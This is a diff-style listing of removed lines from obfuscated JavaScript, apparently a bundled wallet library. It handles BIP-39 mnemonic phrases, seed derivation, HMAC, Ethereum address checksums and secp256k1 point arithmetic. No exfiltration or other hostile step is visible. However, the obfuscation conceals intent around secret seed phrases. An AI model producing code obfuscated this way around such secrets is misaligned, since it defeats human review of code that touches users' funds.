- var _0x358f3a = function () {
- var _0x56c1c6;
- var _0x38d029 = _0x1cc855(_0x1feb9f);
- if (_0x2204b4) {
- var _0x5ae24a = _0x1cc855(this).constructor;
- _0x56c1c6 = Reflect.construct(_0x38d029, arguments, _0x5ae24a);
- } else {
- _0x56c1c6 = _0x38d029.apply(this, arguments);
- }
- return _0xeaa5dd(this, _0x56c1c6);
- };
- function _0x1135b8() {
- _0x1d998d(this, _0x1135b8);
- return _0x358f3a.call(this, "en", _0x4bf108, _0x1ce1fa);
- }
- _0x561e78(_0x1135b8, null, [{
- key: "wordlist",
- value: function () {
- null == _0x5953ba && (_0x5953ba = new _0x1135b8());
- return _0x5953ba;
- }
- }]);
- return _0x1135b8;
- }(_0x3158b5);
- function _0x5909f3(_0x22b825) {
- return (1 << _0x22b825) - 1 << 8 - _0x22b825 & 255;
- }
- function _0x3a464d(_0x2e1370, _0x4badb4) {
- _0x616e30("NFKD");
- null == _0x4badb4 && (_0x4badb4 = _0x3b9cc4.wordlist());
- var _0x260d46 = _0x4badb4.split(_0x2e1370);
- _0x413a2d(_0x260d46.length % 3 == 0 && _0x260d46.length >= 12 && _0x260d46.length <= 24, "invalid mnemonic length", "mnemonic", "[ REDACTED ]");
- for (var _0x32b642 = new Uint8Array(Math.ceil(11 * _0x260d46.length / 8)), _0x2d63ca = 0, _0x4b6944 = 0; _0x4b6944 < _0x260d46.length; _0x4b6944++) {
- var _0x35918a = _0x4badb4.getWordIndex(_0x260d46[_0x4b6944].normalize("NFKD"));
- _0x413a2d(_0x35918a >= 0, "invalid mnemonic word at index ".concat(_0x4b6944), "mnemonic", "[ REDACTED ]");
- for (var _0x8621bf = 0; _0x8621bf < 11; _0x8621bf++) {
- _0x35918a & 1 << 10 - _0x8621bf && (_0x32b642[_0x2d63ca >> 3] |= 1 << 7 - _0x2d63ca % 8);
- _0x2d63ca++;
- }
- }
- var _0x290492 = 32 * _0x260d46.length / 3;
- var _0x991151 = _0x5909f3(_0x260d46.length / 3);
- _0x413a2d((_0x2565f8(_0x38416e(_0x32b642.slice(0, _0x290492 / 8)))[0] & _0x991151) == (_0x32b642[_0x32b642.length - 1] & _0x991151), "invalid mnemonic checksum", "mnemonic", "[ REDACTED ]");
- return _0x192257(_0x32b642.slice(0, _0x290492 / 8));
- }
- function _0x1482d4(_0x4f1292, _0x368f53) {
- _0x413a2d(_0x4f1292.length % 4 == 0 && _0x4f1292.length >= 16 && _0x4f1292.length <= 32, "invalid entropy size", "entropy", "[ REDACTED ]");
- null == _0x368f53 && (_0x368f53 = _0x3b9cc4.wordlist());
- for (var _0x12d626 = [0], _0x54fbd5 = 11, _0x438f89 = 0; _0x438f89 < _0x4f1292.length; _0x438f89++) {
- _0x54fbd5 > 8 ? (_0x12d626[_0x12d626.length - 1] <<= 8, _0x12d626[_0x12d626.length - 1] |= _0x4f1292[_0x438f89], _0x54fbd5 -= 8) : (_0x12d626[_0x12d626.length - 1] <<= _0x54fbd5, _0x12d626[_0x12d626.length - 1] |= _0x4f1292[_0x438f89] >> 8 - _0x54fbd5, _0x12d626.push(_0x4f1292[_0x438f89] & (1 << 8 - _0x54fbd5) - 1 & 255), _0x54fbd5 += 3);
- }
- var _0x12d329 = _0x4f1292.length / 4;
- var _0x18a51a = parseInt(_0x38416e(_0x4f1292).substring(2, 4), 16) & _0x5909f3(_0x12d329);
- _0x12d626[_0x12d626.length - 1] <<= _0x12d329;
- _0x12d626[_0x12d626.length - 1] |= _0x18a51a >> 8 - _0x12d329;
- return _0x368f53.join(_0x12d626.map(function (_0x2f6415) {
- return _0x368f53.getWord(_0x2f6415);
- }));
- }
- var _0x231dd6 = {};
- var _0x4be2c8 = function () {
- function _0x482d44(_0x3996b0, _0x3b50e7, _0x31645f, _0x1c9df8, _0x132e13) {
- _0x1d998d(this, _0x482d44);
- _0x713ed3(this, "phrase", undefined);
- _0x713ed3(this, "password", undefined);
- _0x713ed3(this, "wordlist", undefined);
- _0x713ed3(this, "entropy", undefined);
- null == _0x1c9df8 && (_0x1c9df8 = "");
- null == _0x132e13 && (_0x132e13 = _0x3b9cc4.wordlist());
- _0x5c4373(_0x3996b0, _0x231dd6, "Mnemonic");
- _0x7e8dd6(this, {
- phrase: _0x31645f,
- password: _0x1c9df8,
- wordlist: _0x132e13,
- entropy: _0x3b50e7
- });
- }
- _0x561e78(_0x482d44, [{
- key: "computeSeed",
- value: function () {
- var _0x23a897 = _0x1667a1("mnemonic" + this.password, "NFKD");
- return _0x7a213d(_0x1667a1(this.phrase, "NFKD"), _0x23a897, 2048, 64, "sha512");
- }
- }], [{
- key: "fromPhrase",
- value: function (_0x26e6a7, _0x51a7a8, _0x2e2314) {
- var _0x98dd47 = _0x3a464d(_0x26e6a7, _0x2e2314);
- _0x26e6a7 = _0x1482d4(_0x2565f8(_0x98dd47), _0x2e2314);
- return new _0x482d44(_0x231dd6, _0x98dd47, _0x26e6a7, _0x51a7a8, _0x2e2314);
- }
- }, {
- key: "fromEntropy",
- value: function (_0x5e912d, _0x22efe8, _0x3dc329) {
- var _0x114b6c = _0x2565f8(_0x5e912d, "entropy");
- var _0x286350 = _0x1482d4(_0x114b6c, _0x3dc329);
- return new _0x482d44(_0x231dd6, _0x192257(_0x114b6c), _0x286350, _0x22efe8, _0x3dc329);
- }
- }, {
- key: "entropyToPhrase",
- value: function (_0x1d8c67, _0x4f31ad) {
- return _0x1482d4(_0x2565f8(_0x1d8c67, "entropy"), _0x4f31ad);
- }
- }, {
- key: "phraseToEntropy",
- value: function (_0x52bed5, _0x4bb9b4) {
- return _0x3a464d(_0x52bed5, _0x4bb9b4);
- }
- }, {
- key: "isValidMnemonic",
- value: function (_0x2343ba, _0x11404c) {
- try {
- _0x3a464d(_0x2343ba, _0x11404c);
- return true;
- } catch (_0x381989) {}
- return false;
- }
- }]);
- return _0x482d44;
- }();
- var _0x49cd34 = false;
- var _0x4c0ae6 = function (_0x2800cb, _0x1e4c54, _0x6d8d37) {
- return function (_0x15e813, _0x28c41d) {
- var _0x1c45e4 = {
- sha256: _0x137671,
- sha512: _0x2af318
- }[_0x15e813];
- _0x413a2d(null != _0x1c45e4, "invalid hmac algorithm", "algorithm", _0x15e813);
- return _0x16b321.create(_0x1c45e4, _0x28c41d);
- }(_0x2800cb, _0x1e4c54).update(_0x6d8d37).digest();
- };
- var _0x563b59 = _0x4c0ae6;
- function _0x49fe90(_0x33c8e0, _0x12714f, _0x203550) {
- var _0x48bf6e = _0x2565f8(_0x12714f, "key");
- var _0x37e5ce = _0x2565f8(_0x203550, "data");
- return _0x192257(_0x563b59(_0x33c8e0, _0x48bf6e, _0x37e5ce));
- }
- _0x49fe90._ = _0x4c0ae6;
- _0x49fe90.lock = function () {
- _0x49cd34 = true;
- };
- _0x49fe90.register = function (_0x43235d) {
- if (_0x49cd34) {
- throw new Error("computeHmac is locked");
- }
- _0x563b59 = _0x43235d;
- };
- Object.freeze(_0x49fe90);
- var _0x460999 = BigInt(0);
- var _0x4cfad4 = BigInt(36);
- function _0xdbb578(_0x2fcdae) {
- for (var _0x17a28f = (_0x2fcdae = _0x2fcdae.toLowerCase()).substring(2).split(""), _0x22c100 = new Uint8Array(40), _0x1c0174 = 0; _0x1c0174 < 40; _0x1c0174++) {
- _0x22c100[_0x1c0174] = _0x17a28f[_0x1c0174].charCodeAt(0);
- }
- for (var _0x45f20d = _0x2565f8(_0xa68238(_0x22c100)), _0x3d1e37 = 0; _0x3d1e37 < 40; _0x3d1e37 += 2) {
- _0x45f20d[_0x3d1e37 >> 1] >> 4 >= 8 && (_0x17a28f[_0x3d1e37] = _0x17a28f[_0x3d1e37].toUpperCase());
- (15 & _0x45f20d[_0x3d1e37 >> 1]) >= 8 && (_0x17a28f[_0x3d1e37 + 1] = _0x17a28f[_0x3d1e37 + 1].toUpperCase());
- }
- return "0x" + _0x17a28f.join("");
- }
- for (var _0x22b7c7 = {}, _0x5b34e9 = 0; _0x5b34e9 < 10; _0x5b34e9++) {
- _0x22b7c7[String(_0x5b34e9)] = String(_0x5b34e9);
- }
- for (var _0x4f3525 = 0; _0x4f3525 < 26; _0x4f3525++) {
- _0x22b7c7[String.fromCharCode(65 + _0x4f3525)] = String(10 + _0x4f3525);
- }
- var _0x58cd14 = 15;
- var _0x487fd4 = function () {
- for (var _0x22437e = {}, _0x56e472 = 0; _0x56e472 < 36; _0x56e472++) {
- _0x22437e["0123456789abcdefghijklmnopqrstuvwxyz"[_0x56e472]] = BigInt(_0x56e472);
- }
- return _0x22437e;
- }();
- function _0x46447e(_0x56d066) {
- if (_0x413a2d("string" == typeof _0x56d066, "invalid address", "address", _0x56d066), _0x56d066.match(/^(0x)?[0-9a-fA-F]{40}$/)) {
- _0x56d066.startsWith("0x") || (_0x56d066 = "0x" + _0x56d066);
- var _0x5ac4ed = _0xdbb578(_0x56d066);
- _0x413a2d(!_0x56d066.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || _0x5ac4ed === _0x56d066, "bad address checksum", "address", _0x56d066);
- return _0x5ac4ed;
- }
- if (_0x56d066.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) {
- _0x413a2d(_0x56d066.substring(2, 4) === function (_0x16932a) {
- for (var _0x4c4603 = (_0x16932a = (_0x16932a = _0x16932a.toUpperCase()).substring(4) + _0x16932a.substring(0, 2) + "00").split("").map(function (_0x2e07aa) {
- return _0x22b7c7[_0x2e07aa];
- }).join(""); _0x4c4603.length >= _0x58cd14;) {
- var _0x35d72d = _0x4c4603.substring(0, _0x58cd14);
- _0x4c4603 = parseInt(_0x35d72d, 10) % 97 + _0x4c4603.substring(_0x35d72d.length);
- }
- for (var _0x3507e6 = String(98 - parseInt(_0x4c4603, 10) % 97); _0x3507e6.length < 2;) {
- _0x3507e6 = "0" + _0x3507e6;
- }
- return _0x3507e6;
- }(_0x56d066), "bad icap checksum", "address", _0x56d066);
- for (var _0x120077 = function (_0x1cec6f) {
- _0x1cec6f = _0x1cec6f.toLowerCase();
- for (var _0x288d73 = _0x460999, _0x295e34 = 0; _0x295e34 < _0x1cec6f.length; _0x295e34++) {
- _0x288d73 = _0x288d73 * _0x4cfad4 + _0x487fd4[_0x1cec6f[_0x295e34]];
- }
- return _0x288d73;
- }(_0x56d066.substring(4)).toString(16); _0x120077.length < 40;) {
- _0x120077 = "0" + _0x120077;
- }
- return _0xdbb578("0x" + _0x120077);
- }
- _0x413a2d(false, "invalid address", "address", _0x56d066);
- }
- function _0x19dc48(_0x3ecb7e, _0x27a57d) {
- return function (_0x28edef) {
- if (Array.isArray(_0x28edef)) {
- return _0x28edef;
- }
- }(_0x3ecb7e) || function (_0x4ee265, _0x3c7515) {
- var _0x22e3a9 = null == _0x4ee265 ? null : "undefined" != typeof Symbol && _0x4ee265[Symbol.iterator] || _0x4ee265["@@iterator"];
- if (null != _0x22e3a9) {
- var _0x502c2b;
- var _0x229e56;
- var _0x11682c;
- var _0x263df5;
- var _0x206ab4 = [];
- var _0x43c228 = true;
- var _0x317432 = false;
- try {
- if (_0x11682c = (_0x22e3a9 = _0x22e3a9.call(_0x4ee265)).next, 0 === _0x3c7515) {
- if (Object(_0x22e3a9) !== _0x22e3a9) {
- return;
- }
- _0x43c228 = false;
- } else {
- for (; !(_0x43c228 = (_0x502c2b = _0x11682c.call(_0x22e3a9)).done) && (_0x206ab4.push(_0x502c2b.value), _0x206ab4.length !== _0x3c7515); _0x43c228 = true) {}
- }
- } catch (_0x303ebd) {
- _0x317432 = true;
- _0x229e56 = _0x303ebd;
- } finally {
- try {
- if (!_0x43c228 && null != _0x22e3a9.return && (_0x263df5 = _0x22e3a9.return(), Object(_0x263df5) !== _0x263df5)) {
- return;
- }
- } finally {
- if (_0x317432) {
- throw _0x229e56;
- }
- }
- }
- return _0x206ab4;
- }
- }(_0x3ecb7e, _0x27a57d) || _0x19faf6(_0x3ecb7e, _0x27a57d) || function () {
- throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }();
- }
- var _0x12f6dd = _0x242c38(5856);
- var _0x35c091 = _0x242c38.t(_0x12f6dd, 2);
- const _0x536280 = BigInt(0);
- const _0x3a8f7d = BigInt(1);
- const _0x3eefef = BigInt(2);
- const _0x3ade47 = BigInt(3);
- const _0x5cec3f = BigInt(8);
- const _0x1d7b80 = Object.freeze({
- a: _0x536280,
- b: BigInt(7),
- P: BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f"),
- n: BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"),
- h: _0x3a8f7d,
- Gx: BigInt("55066263022277343669578718895168534326250603453777594175500187360389116729240"),
- Gy: BigInt("32670510020758816978083085130507043184471273380659243275938904335757337482424"),
- beta: BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee")
- });
- const _0x5a83ec = (_0x1c6d12, _0x202762) => (_0x1c6d12 + _0x202762 / _0x3eefef) / _0x202762;
- const _0x39c250 = {
- beta: BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"),
- splitScalar(_0x16afc4) {
- const {
- n: _0x438d5b
- } = _0x1d7b80;
- const _0x18d76d = BigInt("0x3086d221a7d46bcde86c90e49284eb15");
- const _0x34ea09 = -_0x3a8f7d * BigInt("0xe4437ed6010e88286f547fa90abfe4c3");
- const _0x1692f6 = BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8");
- const _0x4c1ee2 = _0x18d76d;
- const _0x4625c7 = BigInt("0x100000000000000000000000000000000");
- const _0x5e545b = _0x5a83ec(_0x4c1ee2 * _0x16afc4, _0x438d5b);
- const _0x1a8cbd = _0x5a83ec(-_0x34ea09 * _0x16afc4, _0x438d5b);
- let _0x268de7 = _0x214910(_0x16afc4 - _0x5e545b * _0x18d76d - _0x1a8cbd * _0x1692f6, _0x438d5b);
- let _0x27683b = _0x214910(-_0x5e545b * _0x34ea09 - _0x1a8cbd * _0x4c1ee2, _0x438d5b);
- const _0x5baa13 = _0x268de7 > _0x4625c7;
- const _0xd8756f = _0x27683b > _0x4625c7;
- if (_0x5baa13 && (_0x268de7 = _0x438d5b - _0x268de7), _0xd8756f && (_0x27683b = _0x438d5b - _0x27683b), _0x268de7 > _0x4625c7 || _0x27683b > _0x4625c7) {
- throw new Error("splitScalarEndo: Endomorphism failed, k=" + _0x16afc4);
- }
- return {
- k1neg: _0x5baa13,
- k1: _0x268de7,
- k2neg: _0xd8756f,
- k2: _0x27683b
- };
- }
- };
- const _0x1a71bb = 32;
- const _0x330e93 = 32;
- const _0x2207f0 = _0x1a71bb + 1;
- const _0x3c23cf = 2 * _0x1a71bb + 1;
- function _0x2da463(_0x1ec8b0) {
- const {
- a: _0x1a1447,
- b: _0x571501
- } = _0x1d7b80;
- const _0x435098 = _0x214910(_0x1ec8b0 * _0x1ec8b0);
- const _0x5998b1 = _0x214910(_0x435098 * _0x1ec8b0);
- return _0x214910(_0x5998b1 + _0x1a1447 * _0x1ec8b0 + _0x571501);
- }
- const _0x481af6 = _0x1d7b80.a === _0x536280;
- class _0x2df6e6 extends Error {
- constructor(_0x346720) {
- super(_0x346720);
- }
- }
- function _0x713343(_0x42ee8c) {
- if (!(_0x42ee8c instanceof _0x4bd687)) {
- throw new TypeError("JacobianPoint expected");
- }
- }
- class _0x4bd687 {
- constructor(_0x11e7cc, _0x598bf0, _0x269fe6) {
- this.x = _0x11e7cc;
- this.y = _0x598bf0;
- this.z = _0x269fe6;
- }
- static fromAffine(_0x21fd8f) {
- if (!(_0x21fd8f instanceof _0x54310d)) {
- throw new TypeError("JacobianPoint#fromAffine: expected Point");
- }
- return _0x21fd8f.equals(_0x54310d.ZERO) ? _0x4bd687.ZERO : new _0x4bd687(_0x21fd8f.x, _0x21fd8f.y, _0x3a8f7d);
- }
- static toAffineBatch(_0x5e17ef) {
- const _0x2a3dc2 = function (_0x1739be, _0x25343d = _0x1d7b80.P) {
- const _0x5b1981 = new Array(_0x1739be.length);
- const _0x3e7159 = _0x1739be.reduce((_0x9ec4a, _0x3cdc9d, _0xa20c8a) => _0x3cdc9d === _0x536280 ? _0x9ec4a : (_0x5b1981[_0xa20c8a] = _0x9ec4a, _0x214910(_0x9ec4a * _0x3cdc9d, _0x25343d)), _0x3a8f7d);
- const _0x1d7e5d = _0xc0164e(_0x3e7159, _0x25343d);
- _0x1739be.reduceRight((_0x532f60, _0x1ca29b, _0x5ce398) => _0x1ca29b === _0x536280 ? _0x532f60 : (_0x5b1981[_0x5ce398] = _0x214910(_0x532f60 * _0x5b1981[_0x5ce398], _0x25343d), _0x214910(_0x532f60 * _0x1ca29b, _0x25343d)), _0x1d7e5d);
- return _0x5b1981;
- }(_0x5e17ef.map(_0x92f9f5 => _0x92f9f5.z));
- return _0x5e17ef.map((_0xbbe365, _0x353762) => _0xbbe365.toAffine(_0x2a3dc2[_0x353762]));
- }
- static normalizeZ(_0x21a3da) {
- return _0x4bd687.toAffineBatch(_0x21a3da).map(_0x4bd687.fromAffine);
- }
- equals(_0x22328c) {
- _0x713343(_0x22328c);
- const {
- x: _0x1bd4a6,
- y: _0x23812f,
- z: _0x20a35e
- } = this;
- const {
- x: _0x480a73,
- y: _0x247b1a,
- z: _0xd86c6f
- } = _0x22328c;
- const _0x2b9df3 = _0x214910(_0x20a35e * _0x20a35e);
- const _0x4e3a00 = _0x214910(_0xd86c6f * _0xd86c6f);
- const _0xc585ff = _0x214910(_0x1bd4a6 * _0x4e3a00);
- const _0xb103ea = _0x214910(_0x480a73 * _0x2b9df3);
- const _0x1044bd = _0x214910(_0x214910(_0x23812f * _0xd86c6f) * _0x4e3a00);
- const _0x46576e = _0x214910(_0x214910(_0x247b1a * _0x20a35e) * _0x2b9df3);
- return _0xc585ff === _0xb103ea && _0x1044bd === _0x46576e;
- }
- negate() {
- return new _0x4bd687(this.x, _0x214910(-this.y), this.z);
- }
- double() {
- const {
- x: _0x3da8e6,
- y: _0x55354d,
- z: _0x1727df
- } = this;
- const _0x94011d = _0x214910(_0x3da8e6 * _0x3da8e6);
- const _0x14d40a = _0x214910(_0x55354d * _0x55354d);
- const _0x4db3ff = _0x214910(_0x14d40a * _0x14d40a);
- const _0x1ef18b = _0x3da8e6 + _0x14d40a;
- const _0x5a4e29 = _0x214910(_0x3eefef * (_0x214910(_0x1ef18b * _0x1ef18b) - _0x94011d - _0x4db3ff));
- const _0x1d98b2 = _0x214910(_0x3ade47 * _0x94011d);
- const _0x4f6ccd = _0x214910(_0x1d98b2 * _0x1d98b2);
- const _0x14b9be = _0x214910(_0x4f6ccd - _0x3eefef * _0x5a4e29);
- const _0xd1ab16 = _0x214910(_0x1d98b2 * (_0x5a4e29 - _0x14b9be) - _0x5cec3f * _0x4db3ff);
- const _0x3844ad = _0x214910(_0x3eefef * _0x55354d * _0x1727df);
- return new _0x4bd687(_0x14b9be, _0xd1ab16, _0x3844ad);
- }
- add(_0x536866) {
- _0x713343(_0x536866);
- const {
- x: _0x347e7e,
- y: _0x1785aa,
- z: _0x11a459
- } = this;
- const {
- x: _0x1d18e4,
- y: _0xc159bc,
- z: _0x1db1ee
- } = _0x536866;
- if (_0x1d18e4 === _0x536280 || _0xc159bc === _0x536280) {
- return this;
- }
- if (_0x347e7e === _0x536280 || _0x1785aa === _0x536280) {
- return _0x536866;
- }
- const _0x251af3 = _0x214910(_0x11a459 * _0x11a459);
- const _0x4707e6 = _0x214910(_0x1db1ee * _0x1db1ee);
- const _0x5ac9e0 = _0x214910(_0x347e7e * _0x4707e6);
- const _0xcc8b10 = _0x214910(_0x1d18e4 * _0x251af3);
- const _0x4a413c = _0x214910(_0x214910(_0x1785aa * _0x1db1ee) * _0x4707e6);
- const _0x5029eb = _0x214910(_0x214910(_0xc159bc * _0x11a459) * _0x251af3);
- const _0x40652a = _0x214910(_0xcc8b10 - _0x5ac9e0);
- const _0x5aa527 = _0x214910(_0x5029eb - _0x4a413c);
- if (_0x40652a === _0x536280) {
- return _0x5aa527 === _0x536280 ? this.double() : _0x4bd687.ZERO;
- }
- const _0x2b0a89 = _0x214910(_0x40652a * _0x40652a);
- const _0x35a4a4 = _0x214910(_0x40652a * _0x2b0a89);
- const _0x5f0d08 = _0x214910(_0x5ac9e0 * _0x2b0a89);
- const _0x1622dc = _0x214910(_0x5aa527 * _0x5aa527 - _0x35a4a4 - _0x3eefef * _0x5f0d08);
- const _0xc82914 = _0x214910(_0x5aa527 * (_0x5f0d08 - _0x1622dc) - _0x4a413c * _0x35a4a4);
- const _0x3551fa = _0x214910(_0x11a459 * _0x1db1ee * _0x40652a);
- return new _0x4bd687(_0x1622dc, _0xc82914, _0x3551fa);
- }
- subtract(_0x647c5c) {
- return this.add(_0x647c5c.negate());
- }
- multiplyUnsafe(_0x46b479) {
- const _0x23d7d1 = _0x4bd687.ZERO;
- if ("bigint" == typeof _0x46b479 && _0x46b479 === _0x536280) {
- return _0x23d7d1;
- }
- let _0x26915 = _0x166465(_0x46b479);
- if (_0x26915 === _0x3a8f7d) {
- return this;
- }
- if (!_0x481af6) {
- let _0x5b594f = _0x23d7d1;
- let _0x93efd0 = this;
- for (; _0x26915 > _0x536280;) {
- _0x26915 & _0x3a8f7d && (_0x5b594f = _0x5b594f.add(_0x93efd0));
- _0x93efd0 = _0x93efd0.double();
- _0x26915 >>= _0x3a8f7d;
- }
- return _0x5b594f;
- }
- let {
- k1neg: _0x743fcf,
- k1: _0x435f4a,
- k2neg: _0x389614,
- k2: _0x3dd1a0
- } = _0x39c250.splitScalar(_0x26915);
- let _0x21b740 = _0x23d7d1;
- let _0x5a9b8e = _0x23d7d1;
- let _0x5225b0 = this;
- for (; _0x435f4a > _0x536280 || _0x3dd1a0 > _0x536280;) {
- _0x435f4a & _0x3a8f7d && (_0x21b740 = _0x21b740.add(_0x5225b0));
- _0x3dd1a0 & _0x3a8f7d && (_0x5a9b8e = _0x5a9b8e.add(_0x5225b0));
- _0x5225b0 = _0x5225b0.double();
- _0x435f4a >>= _0x3a8f7d;
- _0x3dd1a0 >>= _0x3a8f7d;
- }
- _0x743fcf && (_0x21b740 = _0x21b740.negate());
- _0x389614 && (_0x5a9b8e = _0x5a9b8e.negate());
- _0x5a9b8e = new _0x4bd687(_0x214910(_0x5a9b8e.x * _0x39c250.beta), _0x5a9b8e.y, _0x5a9b8e.z);
- return _0x21b740.add(_0x5a9b8e);
- }
- precomputeWindow(_0x51ba0b) {
- const _0xaabcb2 = _0x481af6 ? 128 / _0x51ba0b + 1 : 256 / _0x51ba0b + 1;
- const _0x4b63ac = [];
- let _0x1633eb = this;
- let _0x4a1f20 = _0x1633eb;
- for (let _0x5ca9e8 = 0; _0x5ca9e8 < _0xaabcb2; _0x5ca9e8++) {
- _0x4a1f20 = _0x1633eb;
- _0x4b63ac.push(_0x4a1f20);
- for (let _0x553172 = 1; _0x553172 < 2 ** (_0x51ba0b - 1); _0x553172++) {
- _0x4a1f20 = _0x4a1f20.add(_0x1633eb);
- _0x4b63ac.push(_0x4a1f20);
- }
- _0x1633eb = _0x4a1f20.double();
- }
- return _0x4b63ac;
- }
- wNAF(_0x56ad22, _0x20b946) {
- !_0x20b946 && this.equals(_0x4bd687.BASE) && (_0x20b946 = _0x54310d.BASE);
- const _0x1622d1 = _0x20b946 && _0x20b946._WINDOW_SIZE || 1;
- if (256 % _0x1622d1) {
- throw new Error("Point#wNAF: Invalid precomputation window, must be power of 2");
- }
- let _0x14cd5f = _0x20b946 && _0x4e49d7.get(_0x20b946);
- _0x14cd5f || (_0x14cd5f = this.precomputeWindow(_0x1622d1), _0x20b946 && 1 !== _0x1622d1 && (_0x14cd5f = _0x4bd687.normalizeZ(_0x14cd5f), _0x4e49d7.set(_0x20b946, _0x14cd5f)));
- let _0x55d4f0 = _0x4bd687.ZERO;
- let _0x149aba = _0x4bd687.BASE;
- const _0x9f8071 = 1 + (_0x481af6 ? 128 / _0x1622d1 : 256 / _0x1622d1);
- const _0x1d2aae = 2 ** (_0x1622d1 - 1);
- const _0x10c2ca = BigInt(2 ** _0x1622d1 - 1);
- const _0x221cdb = 2 ** _0x1622d1;
- const _0x2a1d31 = BigInt(_0x1622d1);
- for (let _0x253e50 = 0; _0x253e50 < _0x9f8071; _0x253e50++) {
- const _0x1ad7c4 = _0x253e50 * _0x1d2aae;
- let _0x592b14 = Number(_0x56ad22 & _0x10c2ca);
- _0x56ad22 >>= _0x2a1d31;
- _0x592b14 > _0x1d2aae && (_0x592b14 -= _0x221cdb, _0x56ad22 += _0x3a8f7d);
- const _0x5dcee3 = _0x1ad7c4;
- const _0x21aca9 = _0x1ad7c4 + Math.abs(_0x592b14) - 1;
- const _0x2a54a2 = _0x253e50 % 2 != 0;
- const _0x52f749 = _0x592b14 < 0;
- 0 === _0x592b14 ? _0x149aba = _0x149aba.add(_0x418c16(_0x2a54a2, _0x14cd5f[_0x5dcee3])) : _0x55d4f0 = _0x55d4f0.add(_0x418c16(_0x52f749, _0x14cd5f[_0x21aca9]));
- }
- return {
- p: _0x55d4f0,
- f: _0x149aba
- };
- }
- multiply(_0x5cbedc, _0x528ba9) {
- let _0x58cadb;
- let _0x2468ad;
- let _0x4c789b = _0x166465(_0x5cbedc);
- if (_0x481af6) {
- const {
- k1neg: _0x5ef04c,
- k1: _0x11577a,
- k2neg: _0x4e2836,
- k2: _0xa333ae
- } = _0x39c250.splitScalar(_0x4c789b);
- let {
- p: _0x80ed99,
- f: _0x33200f
- } = this.wNAF(_0x11577a, _0x528ba9);
- let {
- p: _0xda7781,
- f: _0x2ded89
- } = this.wNAF(_0xa333ae, _0x528ba9);
- _0x80ed99 = _0x418c16(_0x5ef04c, _0x80ed99);
- _0xda7781 = _0x418c16(_0x4e2836, _0xda7781);
- _0xda7781 = new _0x4bd687(_0x214910(_0xda7781.x * _0x39c250.beta), _0xda7781.y, _0xda7781.z);
- _0x58cadb = _0x80ed99.add(_0xda7781);
- _0x2468ad = _0x33200f.add(_0x2ded89);
- } else {
- const {
- p: _0xbae9cd,
- f: _0x4bc853
- } = this.wNAF(_0x4c789b, _0x528ba9);
- _0x58cadb = _0xbae9cd;
- _0x2468ad = _0x4bc853;
- }
- return _0x4bd687.normalizeZ([_0x58cadb, _0x2468ad])[0];
- }
- toAffine(_0x57bce4) {
- const {
- x: _0x375e29,
- y: _0x266abb,
- z: _0xa2832
- } = this;
- const _0x8a5b0e = this.equals(_0x4bd687.ZERO);
- null == _0x57bce4 && (_0x57bce4 = _0x8a5b0e ? _0x5cec3f : _0xc0164e(_0xa2832));
- const _0x2a7bf3 = _0x57bce4;
- const _0x431ff7 = _0x214910(_0x2a7bf3 * _0x2a7bf3);
- const _0x45468b = _0x214910(_0x431ff7 * _0x2a7bf3);
- const _0x24d15e = _0x214910(_0x375e29 * _0x431ff7);
- const _0x563243 = _0x214910(_0x266abb * _0x45468b);
- const _0x2ee3cc = _0x214910(_0xa2832 * _0x2a7bf3);
- if (_0x8a5b0e) {
- return _0x54310d.ZERO;
- }
- if (_0x2ee3cc !== _0x3a8f7d) {
- throw new Error("invZ was invalid");
- }
- return new _0x54310d(_0x24d15e, _0x563243);
- }
- }
- function _0x418c16(_0x14473f, _0x39c553) {
- const _0x419a9f = _0x39c553.negate();
- return _0x14473f ? _0x419a9f : _0x39c553;
- }
- _0x4bd687.BASE = new _0x4bd687(_0x1d7b80.Gx, _0x1d7b80.Gy, _0x3a8f7d);
- _0x4bd687.ZERO = new _0x4bd687(_0x536280, _0x3a8f7d, _0x536280);
- const _0x4e49d7 = new WeakMap();
- class _0x54310d {
- constructor(_0x28783d, _0x5cf0e1) {
- this.x = _0x28783d;
- this.y = _0x5cf0e1;
- }
- _setWindowSize(_0x33ff67) {
- this._WINDOW_SIZE = _0x33ff67;
- _0x4e49d7.delete(this);
- }
- hasEvenY() {
- return this.y % _0x3eefef === _0x536280;
- }
- static fromCompressedHex(_0xa8f6ed) {
- const _0x11744e = 32 === _0xa8f6ed.length;
- const _0x20f768 = _0x274ca6(_0x11744e ? _0xa8f6ed : _0xa8f6ed.subarray(1));
- if (!_0x565e39(_0x20f768)) {
- throw new Error("Point is not on curve");
- }
- let _0x3122c4 = function (_0xb41783) {
- const {
- P: _0x3f7b4b
- } = _0x1d7b80;
- const _0x3b7c0a = BigInt(6);
- const _0x57ad79 = BigInt(11);
- const _0x162049 = BigInt(22);
- const _0xccfe4a = BigInt(23);
- const _0x10a202 = BigInt(44);
- const _0x52afe0 = BigInt(88);
- const _0x103635 = _0xb41783 * _0xb41783 * _0xb41783 % _0x3f7b4b;
- const _0x4c2c9c = _0x103635 * _0x103635 * _0xb41783 % _0x3f7b4b;
- const _0x43aa7e = _0x2d60d8(_0x4c2c9c, _0x3ade47) * _0x4c2c9c % _0x3f7b4b;
- const _0x59000c = _0x2d60d8(_0x43aa7e, _0x3ade47) * _0x4c2c9c % _0x3f7b4b;
- const _0x2ed2ae = _0x2d60d8(_0x59000c, _0x3eefef) * _0x103635 % _0x3f7b4b;
- const _0x65d445 = _0x2d60d8(_0x2ed2ae, _0x57ad79) * _0x2ed2ae % _0x3f7b4b;
- const _0x17a0a8 = _0x2d60d8(_0x65d445, _0x162049) * _0x65d445 % _0x3f7b4b;
- const _0x180ec8 = _0x2d60d8(_0x17a0a8, _0x10a202) * _0x17a0a8 % _0x3f7b4b;
- const _0x213b62 = _0x2d60d8(_0x180ec8, _0x52afe0) * _0x180ec8 % _0x3f7b4b;
- const _0x468616 = _0x2d60d8(_0x213b62, _0x10a202) * _0x17a0a8 % _0x3f7b4b;
- const _0x591443 = _0x2d60d8(_0x468616, _0x3ade47) * _0x4c2c9c % _0x3f7b4b;
